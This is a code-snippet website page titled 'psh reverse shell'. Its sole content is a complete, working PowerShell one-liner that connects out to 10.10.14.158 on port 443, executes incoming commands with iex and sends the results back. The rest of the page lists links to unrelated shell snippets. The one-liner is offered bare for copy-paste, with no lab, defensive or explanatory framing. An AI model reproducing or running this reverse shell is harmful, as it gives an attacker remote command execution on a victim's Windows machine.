Search
 
SCRIPT & CODE EXAMPLE
 

SHELL

psh reverse shell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Comment

PREVIOUS NEXT
Code Example
Shell :: git tagging for manging relesing dev.to 
Shell :: unable to install draw-shape-reactjs 
Shell :: how to change apache port in xampp 
Shell :: search a keyword in python documents in linux 
Shell :: msbuild is not recognized as the name of a cmdlet 
Shell :: Install solidity complier 
Shell :: Reset and sync local repository with remote branch 
Shell :: windows gitbash weird characters 
Shell :: remove admin group ubuntu 
Shell :: rsync only specific files but keep folders linux 
Shell :: Dokument mit Datum speichern Powershell 
Shell :: shorten terminal prompt linux 
Shell :: how to install any software in arch linux with packman 
Shell :: Install keyring and preliminary packages For OMV on Debian 
Shell :: error while ruling prettier 
Shell :: git pelak 
Shell :: change git console text size 
Shell :: connect amazon lightsail mac 
Shell :: rsync exclude symlinks 
Shell :: how to edit bash rc file 
Shell :: how install gradel 
Shell :: heredoc remove leading space linux bash 
Shell :: pull from base repository 
Shell :: printing from command line filters pipelines 
Shell :: Install lunacy on linux snap ubuntu 
Shell :: nohup change output file name 
Shell :: intergrete $var in the middle of a file name bash 
Shell :: mkdir NewDirectory and cd into it 
Shell :: alembic not found 
Shell :: command to verify that your firewall allows HTTP and HTTPS traffic 
ADD CONTENT
Topic
Content
Source link
Name
3+6 =